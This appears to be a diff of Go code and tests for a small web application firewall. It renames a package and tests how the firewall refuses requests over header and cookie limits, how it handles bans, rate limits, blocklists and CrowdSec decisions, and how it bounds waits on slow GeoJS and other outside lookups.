|
|
||||||
|
for i := len(req.Header) - 2; i < total; i++ {
|
||||||
|
req.Header.Set("X-Filler-"+strconv.Itoa(i), "1")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSixteenThousandCookiesAreRefusedBeforeTheCoreRuleSetReadsThem(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
s := startDiscriminator(t, "", map[string]string{wafMode: block})
|
||||||
|
req := s.question(siteA, client, "/")
|
||||||
|
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
|
||||||
|
|
||||||
|
got := do(t, req)
|
||||||
|
|
||||||
|
wantDisposition(t, got, tooLarge, discriminator.DispositionDeny)
|
||||||
|
|
||||||
|
line := s.out.requestLine(t)
|
||||||
|
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
|
||||||
|
|
||||||
|
if line.DurationCoreRuleSetMS != nil {
|
||||||
|
t.Errorf("the Core Rule Set read the request, for %f ms", *line.DurationCoreRuleSetMS)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHeaderLimitRefusalNamesItsHeuristicCountsAndLimits(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
s := startDiscriminator(t, "", nil)
|
||||||
|
req := s.question(siteA, client, "/")
|
||||||
|
fillHeaders(req, headerFieldLimit+1)
|
||||||
|
do(t, req)
|
||||||
|
|
||||||
|
wantHeuristic(t, s.out.requestLine(t), "header_limits",
|
||||||
|
`{"fields": 101, "fields_limit": 100, "cookies": 0, "cookies_limit": 50}`)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestEachHeaderLimitRefusesARequestOverIt(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
repeated := make([]string, headerFieldLimit)
|
||||||
|
for i := range repeated {
|
||||||
|
repeated[i] = "1"
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tc := range []struct {
|
||||||
|
name string
|
||||||
|
make func(*http.Request)
|
||||||
|
// refused is true for a request over a limit, and false for one at it.
|
||||||
|
refused bool
|
||||||
|
}{
|
||||||
|
{"cookies at the limit", func(req *http.Request) {
|
||||||
|
req.Header.Set(cookieHeader, cookies(cookieLimit))
|
||||||
|
}, false},
|
||||||
|
{"cookies over the limit", func(req *http.Request) {
|
||||||
|
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||||
|
}, true},
|
||||||
|
{"parts empty or only spaces and tabs are no cookies", func(req *http.Request) {
|
||||||
|
req.Header.Set(cookieHeader, cookies(cookieLimit)+"; \t;;")
|
||||||
|
}, false},
|
||||||
|
{"parts of no-break spaces count", func(req *http.Request) {
|
||||||
|
req.Header.Set(cookieHeader, strings.Repeat(" ;", cookieLimit+1))
|
||||||
|
}, true},
|
||||||
|
{"cookies over the limit across two headers", func(req *http.Request) {
|
||||||
|
req.Header[cookieHeader] = []string{cookies(cookieLimit), "last=1"}
|
||||||
|
}, true},
|
||||||
|
{"cookies without a value count", func(req *http.Request) {
|
||||||
|
req.Header.Set(cookieHeader, strings.Repeat("a;", cookieLimit+1))
|
||||||
|
}, true},
|
||||||
|
{"header fields at the limit", func(req *http.Request) {
|
||||||
|
fillHeaders(req, headerFieldLimit)
|
||||||
|
}, false},
|
||||||
|
{"header fields over the limit", func(req *http.Request) {
|
||||||
|
fillHeaders(req, headerFieldLimit+1)
|
||||||
|
}, true},
|
||||||
|
{"a header sent many times counts each time", func(req *http.Request) {
|
||||||
|
req.Header["X-Filler"] = repeated
|
||||||
|
}, true},
|
||||||
|
} {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
s := startDiscriminator(t, "", map[string]string{wafMode: block})
|
||||||
|
req := s.question(siteA, client, "/")
|
||||||
|
tc.make(req)
|
||||||
|
|
||||||
|
got := do(t, req)
|
||||||
|
line := s.out.requestLine(t)
|
||||||
|
|
||||||
|
if tc.refused {
|
||||||
|
wantDisposition(t, got, tooLarge, discriminator.DispositionDeny)
|
||||||
|
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
|
||||||
|
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
|
||||||
|
|
||||||
|
if line.DurationCoreRuleSetMS == nil {
|
||||||
|
t.Error("the Core Rule Set did not read a request within the limits")
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHeaderLimitsHoldWhateverTheCoreRuleSetSettingsSay(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, env := range []map[string]string{
|
||||||
|
{wafMode: off},
|
||||||
|
{wafMode: "detect"},
|
||||||
|
{wafMode: block, "SWW_WAF_EXEMPT_PATHS": "/"},
|
||||||
|
} {
|
||||||
|
t.Run(fmt.Sprint(env), func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
s := startDiscriminator(t, "", env)
|
||||||
|
req := s.question(siteA, client, "/")
|
||||||
|
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||||
|
|
||||||
|
wantDisposition(t, do(t, req), tooLarge, discriminator.DispositionDeny)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestClientInTheAllowNetsSkipsTheHeaderLimits(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
s := startDiscriminator(t, "", map[string]string{wafMode: block, allowNets: client})
|
||||||
|
req := s.question(siteA, client, "/")
|
||||||
|
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||||
|
|
||||||
|
wantDisposition(t, do(t, req), http.StatusOK, discriminator.DispositionAllow)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestObserveModeAllowsARequestOverTheHeaderLimitsUnread(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
s := startDiscriminator(t, "", map[string]string{mode: observe, wafMode: block})
|
||||||
|
req := s.question(siteA, client, "/")
|
||||||
|
req.Header.Set(cookieHeader, strings.Repeat("a;", 16000))
|
||||||
|
|
||||||
|
got := do(t, req)
|
||||||
|
|
||||||
|
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
|
||||||
|
|
||||||
|
line := s.out.requestLine(t)
|
||||||
|
if line.WouldAction != requestlog.ActionRequestHeaderTooLarge ||
|
||||||
|
line.DurationCoreRuleSetMS != nil {
|
||||||
|
t.Errorf("would_action %q and duration_core_rule_set_ms %v, want %q and none",
|
||||||
|
line.WouldAction, line.DurationCoreRuleSetMS, requestlog.ActionRequestHeaderTooLarge)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestRequestsOverTheHeaderLimitsCountTowardTheRateLimits(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
s := startDiscriminator(t, "", map[string]string{rateLimitPerMinute: "1"})
|
||||||
|
ask := func() answer {
|
||||||
|
req := s.question(siteA, client, "/")
|
||||||
|
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||||
|
|
||||||
|
return do(t, req)
|
||||||
|
}
|
||||||
|
|
||||||
|
wantDisposition(t, ask(), tooLarge, discriminator.DispositionDeny)
|
||||||
|
wantDisposition(t, ask(), http.StatusForbidden, discriminator.DispositionDeny)
|
||||||
|
|
||||||
|
lines := s.out.requestLines(t, 2)
|
||||||
|
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestTheHeaderLimitsComeAfterTheTrapPathsAndTheRuleFiles(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, tc := range []struct {
|
||||||
|
name, path, action string
|
||||||
|
}{
|
||||||
|
{"a trap path", "/wp-login.php", requestlog.ActionTemporarilyBanned},
|
||||||
|
{"a block rule", "/blocked", requestlog.ActionBlockedByBlockRule},
|
||||||
|
} {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
s := startDiscriminator(t, "", map[string]string{
|
||||||
|
trapPaths: trapPathList, rulesDir: writeRules(t, testRules),
|
||||||
|
})
|
||||||
|
req := s.question(siteA, client, tc.path)
|
||||||
|
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||||
|
|
||||||
|
wantDisposition(t, do(t, req), http.StatusForbidden, discriminator.DispositionDeny)
|
||||||
|
wantLine(t, s.out.requestLine(t), http.StatusForbidden, tc.action)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNotWaitingForGeoJSNeverLowersAClientsLimit(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
geojsURL, _ := startGeoJS(t)
|
||||||
|
s := startDiscriminator(t, geojsURL, map[string]string{
|
||||||
|
unknownLimitPercent: "0", lookupTimeout: "1h",
|
||||||
|
})
|
||||||
|
req := s.question(siteA, fromDE, "/")
|
||||||
|
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||||
|
|
||||||
|
wantDisposition(t, do(t, req), tooLarge, discriminator.DispositionDeny)
|
||||||
|
|
||||||
|
line := s.out.requestLine(t)
|
||||||
|
wantLine(t, line, tooLarge, requestlog.ActionRequestHeaderTooLarge)
|
||||||
|
|
||||||
|
if line.RateLimitPercent != nil {
|
||||||
|
t.Errorf("limit percentage %d, want none", *line.RateLimitPercent)
|
||||||
|
}
|
||||||
|
|
||||||
|
// The client is under no ban, and GeoJS places it in a country.
|
||||||
|
wantDisposition(t, s.ask(fromDE, "/"), http.StatusOK, discriminator.DispositionAllow)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAClientGeoJSPlacedInNoCountryCountsAsUnknownWithoutWaiting(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
geojsURL, _ := startGeoJS(t)
|
||||||
|
s := startDiscriminator(t, geojsURL, map[string]string{unknownLimitPercent: "0"})
|
||||||
|
s.server.GeoJS.Load([]lookup.Answer{{
|
||||||
|
Client: netip.MustParsePrefix(client + "/32"), ASN: "AS64512",
|
||||||
|
Answered: s.clock.Now(), Used: s.clock.Now(),
|
||||||
|
}})
|
||||||
|
|
||||||
|
req := s.question(siteA, client, "/")
|
||||||
|
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||||
|
|
||||||
|
wantDisposition(t, do(t, req), http.StatusForbidden, discriminator.DispositionDeny)
|
||||||
|
wantLine(t, s.out.requestLine(t), http.StatusForbidden,
|
||||||
|
requestlog.ActionClientIsRateLimited)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestObserveModeWaitsForGeoJSForARequestOverTheHeaderLimits(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
geojsURL, _ := startGeoJS(t)
|
||||||
|
s := startDiscriminator(t, geojsURL, map[string]string{
|
||||||
|
mode: observe, addLookupHeaders: on, lookupTimeout: "1h",
|
||||||
|
})
|
||||||
|
req := s.question(siteA, fromDE, "/")
|
||||||
|
req.Header.Set(cookieHeader, cookies(cookieLimit+1))
|
||||||
|
|
||||||
|
got := do(t, req)
|
||||||
|
wantDisposition(t, got, http.StatusOK, discriminator.DispositionAllow)
|
||||||
|
|
||||||
|
asn, country := got.header.Get("X-Client-Asn"), got.header.Get("X-Client-Country")
|
||||||
|
if asn != asnDE || country != "DE" {
|
||||||
|
t.Errorf("answered with the AS number %q and the country %q, want %q and DE",
|
||||||
|
asn, country, asnDE)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// newDiscriminatorInBubble makes a discriminator for a synctest bubble: GeoJS never
|
||||||
|
// answers, a setting needs its answer, and everything is at its default but
|
||||||
|
// for env. No request to it may use the network.
|
||||||
|
func newDiscriminatorInBubble(
|
||||||
|
t *testing.T, env map[string]string,
|
||||||
|
) (*discriminator.Server, *output) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
settings := map[string]string{tagDeny: "country=KP"}
|
||||||
|
maps.Copy(settings, env)
|
||||||
|
|
||||||
|
server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now, settings)
|
||||||
|
|
||||||
|
return server, out
|
||||||
|
}
|
||||||
|
|
||||||
|
// askDirectly hands a question about a request from client straight to server,
|
||||||
|
// as change leaves it, and returns the answer's status and how long it took.
|
||||||
|
func askDirectly(
|
||||||
|
t *testing.T, server *discriminator.Server, change func(*http.Request),
|
||||||
|
) (int, time.Duration) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
req := httptest.NewRequestWithContext(t.Context(), http.MethodGet, "/", http.NoBody)
|
||||||
|
req.RemoteAddr = net.JoinHostPort(rproxyPeer, "1234")
|
||||||
|
req.Header.Set(discriminator.ClientHeader, client)
|
||||||
|
req.Header.Set(requestIDHeader, "the-id")
|
||||||
|
change(req)
|
||||||
|
|
||||||
|
recorder := httptest.NewRecorder()
|
||||||
|
began := time.Now()
|
||||||
|
|
||||||
|
server.Handler.ServeHTTP(recorder, req)
|
||||||
|
|
||||||
|
return recorder.Code, time.Since(began)
|
||||||
|
}
|
||||||
|
|
||||||
|
// banClient bans client at now.
|
||||||
|
func banClient(_ *testing.T, server *discriminator.Server, now time.Time) {
|
||||||
|
server.Ledger.BanForLimit(netip.MustParsePrefix(client+"/32"), now, bans.Notes{})
|
||||||
|
}
|
||||||
|
|
||||||
|
// countClient counts one request from client at now for the rate limits.
|
||||||
|
func countClient(_ *testing.T, server *discriminator.Server, now time.Time) {
|
||||||
|
server.Limiter.Count(netip.MustParsePrefix(client+"/32"), now, wholeLimit)
|
||||||
|
}
|
||||||
|
|
||||||
|
// listClient puts client on the blocklist at dropURL.
|
||||||
|
func listClient(t *testing.T, server *discriminator.Server, now time.Time) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
err := server.Lists.Load([]reputation.List{{
|
||||||
|
URL: dropURL, Tried: now, Fetched: now, Lines: []string{client},
|
||||||
|
}})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("load the blocklist: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// decideOnClient puts client on the CrowdSec decision list.
|
||||||
|
func decideOnClient(t *testing.T, server *discriminator.Server, now time.Time) {
|
||||||
|
t.Helper()
|
||||||
|
loadDecisions(t, server, now, clientsDecision)
|
||||||
|
}
|
||||||
|
|
||||||
|
// leaveAsItIs prepares nothing.
|
||||||
|
func leaveAsItIs(*testing.T, *discriminator.Server, time.Time) {}
|
||||||
|
|
||||||
|
func TestARefusedRequestDoesNotWaitForASlowGeoJS(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
const forbidden = http.StatusForbidden
|
||||||
|
|
||||||
|
for _, tc := range []struct {
|
||||||
|
name string
|
||||||
|
env map[string]string
|
||||||
|
// prepare gets the server ready, at now, before the question.
|
||||||
|
prepare func(t *testing.T, server *discriminator.Server, now time.Time)
|
||||||
|
// cookie is the request's Cookie header.
|
||||||
|
cookie string
|
||||||
|
status int
|
||||||
|
action string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "SWW_DENY_NETS", env: map[string]string{denyNets: client},
|
||||||
|
prepare: leaveAsItIs, status: forbidden, action: requestlog.ActionClientDenied,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "a ban",
|
||||||
|
prepare: banClient, status: forbidden, action: requestlog.ActionTemporarilyBanned,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "the rate limits", env: map[string]string{rateLimitPerMinute: "1"},
|
||||||
|
prepare: countClient, status: forbidden,
|
||||||
|
action: requestlog.ActionClientIsRateLimited,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "the rate limits, with a biased threshold",
|
||||||
|
env: map[string]string{rateLimitPerMinute: "1", unknownLimitPercent: "50"},
|
||||||
|
prepare: countClient, status: forbidden,
|
||||||
|
action: requestlog.ActionClientIsRateLimited,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "a blocklist", env: map[string]string{blocklistURLs: dropURL},
|
||||||
|
prepare: listClient, status: forbidden, action: requestlog.ActionClientDenied,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "the CrowdSec decision list",
|
||||||
|
env: map[string]string{crowdSecURL: lapi, crowdSecKey: bouncerKey},
|
||||||
|
prepare: decideOnClient, status: forbidden,
|
||||||
|
action: requestlog.ActionTemporarilyBanned,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "the header limits", cookie: cookies(cookieLimit + 1),
|
||||||
|
prepare: leaveAsItIs, status: tooLarge,
|
||||||
|
action: requestlog.ActionRequestHeaderTooLarge,
|
||||||
|
},
|
||||||
|
} {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
|
||||||
|
// says, so that a request that does not wait takes no time at all.
|
||||||
|
synctest.Test(t, func(t *testing.T) {
|
||||||
|
server, out := newDiscriminatorInBubble(t, tc.env)
|
||||||
|
tc.prepare(t, server, time.Now())
|
||||||
|
|
||||||
|
status, took := askDirectly(t, server, func(req *http.Request) {
|
||||||
|
req.Header.Set(cookieHeader, tc.cookie)
|
||||||
|
})
|
||||||
|
|
||||||
|
if status != tc.status || took != 0 {
|
||||||
|
t.Errorf("answered %d after %s, want %d at once; output:\n%s",
|
||||||
|
status, took, tc.status, out.text())
|
||||||
|
}
|
||||||
|
|
||||||
|
wantLine(t, out.requestLine(t), tc.status, tc.action)
|
||||||
|
|
||||||
|
// GeoJS's request is abandoned before the bubble ends.
|
||||||
|
time.Sleep(defaultLookupWait)
|
||||||
|
})
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestAQuestionWaitsForASlowGeoJSOnlyAsLongAsTheDefaultSays(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
for _, tc := range []struct {
|
||||||
|
name string
|
||||||
|
env map[string]string
|
||||||
|
// prepare gets the server ready, at now, before the question.
|
||||||
|
prepare func(t *testing.T, server *discriminator.Server, now time.Time)
|
||||||
|
status int
|
||||||
|
action string
|
||||||
|
}{
|
||||||
|
{"nothing refuses it", nil, leaveAsItIs, http.StatusOK, requestlog.ActionForward},
|
||||||
|
{
|
||||||
|
"a country list needs the answer", map[string]string{allowedCountries: "DE"},
|
||||||
|
leaveAsItIs, http.StatusForbidden, requestlog.ActionCountryDenied,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"a blocklist that only logs",
|
||||||
|
map[string]string{blocklistURLs: dropURL, blocklistAction: actionLog},
|
||||||
|
listClient, http.StatusOK, requestlog.ActionForward,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"a blocklist that only limits",
|
||||||
|
map[string]string{blocklistURLs: dropURL, blocklistAction: limitQuarter},
|
||||||
|
listClient, http.StatusOK, requestlog.ActionForward,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"over a rate limit on an exempt path",
|
||||||
|
map[string]string{rateLimitPerMinute: "1", rateLimitExemptPaths: "/"},
|
||||||
|
countClient, http.StatusOK, requestlog.ActionForward,
|
||||||
|
},
|
||||||
|
} {
|
||||||
|
t.Run(tc.name, func(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
synctest.Test(t, func(t *testing.T) {
|
||||||
|
server, out := newDiscriminatorInBubble(t, tc.env)
|
||||||
|
tc.prepare(t, server, time.Now())
|
||||||
|
|
||||||
|
status, took := askDirectly(t, server, func(*http.Request) {})
|
||||||
|
|
||||||
|
if status != tc.status || took != defaultLookupWait {
|
||||||
|
t.Errorf("answered %d after %s, want %d after %s; output:\n%s",
|
||||||
|
status, took, tc.status, defaultLookupWait, out.text())
|
||||||
|
}
|
||||||
|
|
||||||
|
wantLine(t, out.requestLine(t), tc.status, tc.action)
|
||||||
|
})
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDiscriminatorAnswersWithinTheTimeLimitWhileEveryOutsideSourceHangs(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
held, askedGeoJS, _ := startHeldGeoJS(t)
|
||||||
|
|
||||||
|
// A resolver that takes every query and answers none.
|
||||||
|
resolver, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", localhost+":0")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("listen: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Cleanup(func() { _ = resolver.Close() })
|
||||||
|
|
||||||
|
server, out, _ := newDiscriminatorWith(t, func(
|
||||||
|
params discriminator.Params,
|
||||||
|
) *discriminator.Server {
|
||||||
|
params.AbuseIPDBURL = silentAbuseIPDBURL
|
||||||
|
|
||||||
|
return discriminator.New(params)
|
||||||
|
}, held, time.Now, map[string]string{
|
||||||
|
tagDeny: "country=KP", wafMode: block,
|
||||||
|
dnsblZones: dnsblZone, dnsblResolver: resolver.LocalAddr().String(),
|
||||||
|
abuseIPDBKey: accountKey,
|
||||||
|
blocklistURLs: held + "/drop.txt", asnLimitPercentURL: held + "/asn.txt",
|
||||||
|
crowdSecURL: held, crowdSecKey: bouncerKey,
|
||||||
|
})
|
||||||
|
|
||||||
|
// AbuseIPDB is asked only about a client with an offence.
|
||||||
|
group := netip.MustParsePrefix(client + "/32")
|
||||||
|
server.Limiter.AddToHistory(group, time.Now(), ratelimit.Request{Attack: true})
|
||||||
|
|
||||||
|
go server.Lists.Run(t.Context())
|
||||||
|
|
||||||
|
status, took := askDirectly(t, server, func(req *http.Request) {
|
||||||
|
req.Header.Set("User-Agent", "test")
|
||||||
|
req.Header.Set("Accept", "*/*")
|
||||||
|
req.Host = siteA
|
||||||
|
})
|
||||||
|
|
||||||
|
if status != http.StatusOK || took >= answerTimeLimit {
|
||||||
|
t.Errorf("answered %d after %s, want %d within %s; output:\n%s",
|
||||||
|
status, took, http.StatusOK, answerTimeLimit, out.text())
|
||||||
|
}
|
||||||
|
|
||||||
|
// Each outside source was asked, and none has answered. The stand-in for
|
||||||
|
// GeoJS is the lists' too, which name no address.
|
||||||
|
if !slices.Contains(askedGeoJS(), client) {
|
||||||
|
t.Errorf("GeoJS was asked about %q, not %s", askedGeoJS(), client)
|
||||||
|
}
|
||||||
|
|
||||||
|
if queries := server.DNSBL.Queries(dnsblZone); queries != 1 {
|
||||||
|
t.Errorf("%d queries to the DNS blocklist, want 1", queries)
|
||||||
|
}
|
||||||
|
|
||||||
|
if checked := server.AbuseIPDB.Checked(); checked != 1 {
|
||||||
|
t.Errorf("%d checks with AbuseIPDB, want 1", checked)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf
|
package discriminator
|
||||||
|
|
||||||
// The heuristic active_ban, and the code that makes bans, which several
|
// The heuristic active_ban, and the code that makes bans, which several
|
||||||
// heuristics share. active_ban reads SWW_MODE; the bans are the ban ledger's.
|
// heuristics share. active_ban reads SWW_MODE; the bans are the ban ledger's.
|
||||||
@@ -29,11 +29,7 @@ type activeBan struct{}
|
|||||||
|
|
||||||
func (activeBan) name() string { return "active_ban" }
|
func (activeBan) name() string { return "active_ban" }
|
||||||
|
|
||||||
func (activeBan) check(
|
func (activeBan) check(_ context.Context, rq *request, now time.Time) *verdict {
|
||||||
_ context.Context,
|
|
||||||
rq *request,
|
|
||||||
now time.Time,
|
|
||||||
) *verdict {
|
|
||||||
check := rq.h.ledger.Check
|
check := rq.h.ledger.Check
|
||||||
if rq.h.config.Observe {
|
if rq.h.config.Observe {
|
||||||
check = rq.h.ledger.Find // the ban refuses nothing, and stays as it is
|
check = rq.h.ledger.Find // the ban refuses nothing, and stays as it is
|
||||||
@@ -105,11 +101,7 @@ func (rq *request) countedBytes() int64 {
|
|||||||
// the client's counters back to zero. In observe mode it makes no ban and
|
// the client's counters back to zero. In observe mode it makes no ban and
|
||||||
// sets nothing back, and raises the alert for the ban it would have made,
|
// sets nothing back, and raises the alert for the ban it would have made,
|
||||||
// if that alert would be sent.
|
// if that alert would be sent.
|
||||||
func (rq *request) banForLimit(
|
func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
|
||||||
now time.Time,
|
|
||||||
hit ratelimit.Hit,
|
|
||||||
status int,
|
|
||||||
) {
|
|
||||||
switch hit.Kind {
|
switch hit.Kind {
|
||||||
case ratelimit.KindBytes:
|
case ratelimit.KindBytes:
|
||||||
rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
|
rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
|
||||||
@@ -123,8 +115,7 @@ func (rq *request) banForLimit(
|
|||||||
rq.h.metrics.LimitHit(hit)
|
rq.h.metrics.LimitHit(hit)
|
||||||
|
|
||||||
netblock := rq.h.netblock(rq.client)
|
netblock := rq.h.netblock(rq.client)
|
||||||
if rq.h.config.Observe &&
|
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
|
||||||
!rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
|
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -173,11 +164,8 @@ func (rq *request) banForLimit(
|
|||||||
// alert would be sent. It returns the action for that ban.
|
// alert would be sent. It returns the action for that ban.
|
||||||
func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
|
func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
|
||||||
netblock := rq.h.netblock(rq.client)
|
netblock := rq.h.netblock(rq.client)
|
||||||
if rq.h.config.Observe &&
|
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
|
||||||
!rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
|
return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseAttack))
|
||||||
return banAction(
|
|
||||||
rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseAttack),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
notes.ASN = rq.line.ASN
|
notes.ASN = rq.line.ASN
|
||||||
@@ -210,16 +198,10 @@ func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
|
|||||||
// CrowdSec's decision on the client, ends. In observe mode it makes no
|
// CrowdSec's decision on the client, ends. In observe mode it makes no
|
||||||
// ban, and raises the alert for the ban it would have made, if that alert
|
// ban, and raises the alert for the ban it would have made, if that alert
|
||||||
// would be sent. It returns the action for that ban.
|
// would be sent. It returns the action for that ban.
|
||||||
func (rq *request) banForCrowdSec(
|
func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) string {
|
||||||
now time.Time,
|
|
||||||
decision reputation.Decision,
|
|
||||||
) string {
|
|
||||||
netblock := rq.h.netblock(rq.client)
|
netblock := rq.h.netblock(rq.client)
|
||||||
if rq.h.config.Observe &&
|
if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
|
||||||
!rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
|
return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec))
|
||||||
return banAction(
|
|
||||||
rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
notes := bans.Notes{
|
notes := bans.Notes{
|
||||||
@@ -232,13 +214,8 @@ func (rq *request) banForCrowdSec(
|
|||||||
}
|
}
|
||||||
|
|
||||||
if rq.h.config.Observe {
|
if rq.h.config.Observe {
|
||||||
ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(
|
ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(netblock, now, decision.Expires,
|
||||||
netblock,
|
decision.Scenario, notes)
|
||||||
now,
|
|
||||||
decision.Expires,
|
|
||||||
decision.Scenario,
|
|
||||||
notes,
|
|
||||||
)
|
|
||||||
if wouldBan {
|
if wouldBan {
|
||||||
rq.alertBan(ban)
|
rq.alertBan(ban)
|
||||||
}
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package waf_test
|
package discriminator_test
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"bufio"
|
"bufio"
|
||||||
@@ -15,8 +15,8 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -33,52 +33,29 @@ const (
|
|||||||
func TestBrokenLimitBansTheClient(t *testing.T) {
|
func TestBrokenLimitBansTheClient(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
s, clk, _ := startWithClock(
|
s, clk, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
|
||||||
t,
|
|
||||||
"",
|
|
||||||
map[string]string{rateLimitPerMinute: "1"},
|
|
||||||
)
|
|
||||||
expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
|
expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
|
||||||
|
|
||||||
// The request over the limit of one a minute is refused, and bans the
|
